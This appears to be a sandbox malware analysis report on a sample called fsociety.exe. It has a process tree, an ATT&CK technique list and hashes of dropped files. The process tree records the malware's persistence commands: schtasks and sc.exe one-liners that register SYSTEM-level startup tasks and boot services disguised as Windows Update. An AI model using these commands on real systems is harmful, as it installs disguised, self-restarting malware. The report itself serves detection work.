    cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:8604
  - - C:\Windows\System32\schtasks.exe
      schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      PID:6216
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:8168
  - - C:\Windows\System32\schtasks.exe
      schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:8852
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:7324
  - - C:\Windows\System32\schtasks.exe
      schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      PID:8620

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:5204
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:6364
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:6768
  - - C:\Windows\System32\sc.exe
      sc stop WindowsUpdate
      4⤵
      Launches sc.exe
      PID:7100
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:6920
  - - C:\Windows\System32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:1420
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:6692
  - - C:\Windows\System32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:7056
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:6756
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      Launches sc.exe
      PID:6448
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:6420
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:1220
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:6804
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:7068
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:6172
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:2856
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:7268
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:7596
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:8052
  - - C:\Windows\System32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:7264
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:7152
  - - C:\Windows\System32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:4520
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:7716
  - - C:\Windows\System32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:7544
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:8184
  - - C:\Windows\System32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:8140
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:6340
  - - C:\Windows\System32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:7792
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    PID:7368
  - - C:\Windows\System32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      PID:7940
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:7940
  - - C:\Windows\System32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:7920
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:6388
  - - C:\Windows\System32\sc.exe
      sc start SystemUpdate
      4⤵
      PID:8924
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    PID:7872
  - - C:\Windows\System32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      PID:5140
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
    3⤵
    PID:8892
  - - C:\Windows\System32\sc.exe
      sc delete WinUpdateSvc
      4⤵
      Launches sc.exe
      PID:8508
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
    3⤵
    PID:9048
  - - C:\Windows\System32\sc.exe
      sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
      4⤵
      PID:8872
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
    3⤵
    PID:8584

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:6148
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:6296
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:6204
  - - C:\Windows\System32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:6252
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:1696
  - - C:\Windows\System32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:3436
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:7308
  - - C:\Windows\System32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:7860
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:8148
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:6440
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:7600
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:7712
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:4144
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:7712
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:7332
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:2084
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:8172
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:6696
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:7468
  - - C:\Windows\System32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:7464
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:7804
  - - C:\Windows\System32\sc.exe
      sc start WindowsUpdate
      4⤵
      Launches sc.exe
      PID:6076
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:8864
  - - C:\Windows\System32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:2832
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:5500
  - - C:\Windows\System32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:8636
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:8984
  - - C:\Windows\System32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:8504
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    PID:8708

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:6860
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:6876
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:5800
  - - C:\Windows\System32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:4404
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:4644
  - - C:\Windows\System32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:552
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:7956
  - - C:\Windows\System32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:4204
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:8644
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:8140
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:8384
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:8356
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:7076
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:9212
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:8600

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:7436
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:7476
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:7516
  - - C:\Windows\System32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:8104
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:6748
  - - C:\Windows\System32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:4288
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:7216
  - - C:\Windows\System32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:3380
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:7236
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:7240
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:6324
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:7664
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:1276
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:8068
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:8176
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:2352
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:2352
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:6528
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:8652
  - - C:\Windows\System32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:4132
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:8924
  - - C:\Windows\System32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:8760
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:9088
  - - C:\Windows\System32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:8188

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:6496
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:5832
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:832
  - - C:\Windows\System32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:7072
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:8064
  - - C:\Windows\System32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:7484
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:5808
  - - C:\Windows\System32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:6424
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:2284
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:7688
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:7936
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:3880
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:2488
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:7196
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:7616
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:8188
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:8288
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:8692
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:9156
  - - C:\Windows\System32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:8768
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:4528
  - - C:\Windows\System32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:2928
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:8508
  - - C:\Windows\System32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:2140

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:8108
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:7172
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:6284
  - - C:\Windows\System32\sc.exe
      sc stop WindowsUpdate
      4⤵
      Launches sc.exe
      PID:2284
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:6156
  - - C:\Windows\System32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:8072
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:7392
  - - C:\Windows\System32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:6160
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:7776
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:6260
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:6664
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:2764
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:7812
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:8444
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:9080
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:8508
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:8488
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:8856
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:6036

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:3852
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:8832

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:7764
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:4640
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:3928
  - - C:\Windows\System32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:9112
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:7748
  - - C:\Windows\System32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:8260
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:9068
  - - C:\Windows\System32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:8828
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:8884

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

07CEF2F654E3ED6050FFC9B6EB844250_44F84527B9D1A5107012929AC9B9BF7F

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_44F84527B9D1A5107012929AC9B9BF7F
Size 2KB
SHA256 6a68eb83819307d5a2dc8ad0e459b3c74684a67d7b72b247796bf4152d071217
MD5 02563cd27649095edf517008b91333e7
SHA1 263c6aecd0a44789f046da1a9fe50237a0a5a515
SHA512 83e4044416382dee446aa72dd22fb73825562ab51af1e9a6e8c53cf034cd8122e03665253bd3ca5ca3db7cafb4f09b28f6eb466c83745ca03ec3f0d44bac7e06
TLSH
T1E141F9C3C88C61208E6691637FF5EA3619E6F4605CD1A0A278D9F5D70D4EDED7A2880D
MD5 SHA1 SHA512 TLSH

Submit Download

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
Size 808B
SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
MD5 878e958d6bff424e59d1feb51584a01f
SHA1 b11261559bbea40f1874448196e2934277a537e9
SHA512 6481a56d17126cf94901bed6f418af28f63089da57af4258fb13e468063c4d7849f78ca00a0e4a72c249a639afc8304669f99e48a360008f8e64172ab3133213
TLSH
T18D0152CD6E2925408AB18A334AB9C4970DB9724A3AD5910C4453A4A024D07588F0F54E
MD5 SHA1 SHA512 TLSH

Submit Download

1B1495DD322A24490E2BF2FAABAE1C61

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1B1495DD322A24490E2BF2FAABAE1C61
Size 355B
SHA256 12fd0590708bb38d8039bc994178acee8a3d220f0cd194b0f1c2fc9ba622f927
MD5 53ae64e9ee4ba962ee4b516077735710
SHA1 dae8a6fd15a9c447cdb2778f63880db25b0dd198
SHA512 ec31df0d1fbf225bc5a884ee8324aab6e2aa43031bede210b04677ed825966c8ebc0693b06d8f0e55de2cd5919b95a7b25691b6ae1fab893f58756e08836a168
TLSH
T1BFE0C08867AC24200AB19E539550C4936FBE31892970B05C8251CBED30C1A58C28B30F
MD5 SHA1 SHA512 TLSH

Submit Download

22D536C4B4AD2CEF7AC6B7789FD235E3

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\22D536C4B4AD2CEF7AC6B7789FD235E3
Size 283B
SHA256 251ed08cc8f5873098ea5ee083034e7cd99ece955920e12a42e50306a94cb6eb
MD5 7f9d3dc54f928bf6c38576705ad18203
SHA1 2b5e33e5301753684973bfddbc6cfb11d297cf90
SHA512 ef5b01e74a5e49cd0fe887b9d92d830e1052bd93cda7d11ee68829705432a21a9943535de8dff9d77eb3402253adf9d5760eda03ca80a0c3495f83396d648967
TLSH
T102D0C29CA9273E660FE69B454A50C087AEE610CA9C15B648008EC45B0887B02EA962AE
MD5 SHA1 SHA512 TLSH

Submit Download

5991A405E33BCD195816753A1A2029D6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\5991A405E33BCD195816753A1A2029D6
Size 56KB
SHA256 4bca91d01a920f27c18194bdfa548b7526907874cadadb9c96aff2bcdba908db
MD5 ae0ba8c5e022f5d19fb61b4894f2f7ba
SHA1 a22932082db78db4d00163d84bd53248789201b9
SHA512 cc3b417503f6cc9b3a29262267f86435f222997153248598fe3ec239e2db8763393029bc9b77a9c3bc9fafe06d59f6564244d1b71362ebb5af936c6a3a352018
SSDEEP 768:ousVn8aRIXT2DRR+bv5RoeeiqFhRv7eFZPe4SeHo0+wJEE5/LsFb1gLPYegcuibo:Ax8hXKDRR+1ei4RvaZ/jJXQMZ7/8
TLSH
T152432A586DBBB1A29E47DE618C9A8E93D6F462DE21127F1B4E716E405D03A8FCF530C0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

A1593701BD276673B04DEC503D761A9E_E1F945BF658DCC7B1DD3A7B88D3398BA

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A1593701BD276673B04DEC503D761A9E_E1F945BF658DCC7B1DD3A7B88D3398BA
Size 727B
SHA256 ac07c2e95bb8be0e2121417c316d1253cfe5dbd6323f3bbb68b10f0b201811ba
MD5 e35f978fae525517a7d515ab9c95d895
SHA1 23e6a8b4392fc7b436b6644d08920d99dcc5313f
SHA512 35abf39d8c766c5fe6cab965e164f46714e1bebf90216b57fed04c48b9363cdf97fc6e4d4ad5dfb400cdb21601a1744197991e2df1bf0cc4d15e14721927e54c
TLSH
T1300165138E5E68A6AB40C1149DA99F789D60C1C41C7E8B335D7740C32C6CB9513134A0
MD5 SHA1 SHA512 TLSH

Submit Download

07CEF2F654E3ED6050FFC9B6EB844250_44F84527B9D1A5107012929AC9B9BF7F

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_44F84527B9D1A5107012929AC9B9BF7F
Size 484B
SHA256 456365d379575de51d7c89c9323bc9e41001d934957d62738a6e01cc0e575822
MD5 c6b680ae7ce88f3104ea44bb0f4d194e
SHA1 2f0f4068733d6f36a0c173b5b8ae1eaeeb3ea820
SHA512 eb925d78b0fe822c5625499ca25f71f54795e1b587a96e3711fb73e717c6e518d16d08a07c5f4372623e448f1436603119bf4c73f4c4c3dbfe23f774e5731a13
TLSH
T103F0552932BB511DF2BB88B896ED9E66E41AF1222C0046691BD602086A02E00CDA31A5
MD5 SHA1 SHA512 TLSH

Submit Download

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
Size 192B
SHA256 80811366f91a36af6dba4f89aca924f53d0625de5320bbb7effeb7f25bc3e879
MD5 fc83204abd70694f74728d45ce342512
SHA1 afac290004924e3a162bf19cf7062f9eae7a812d
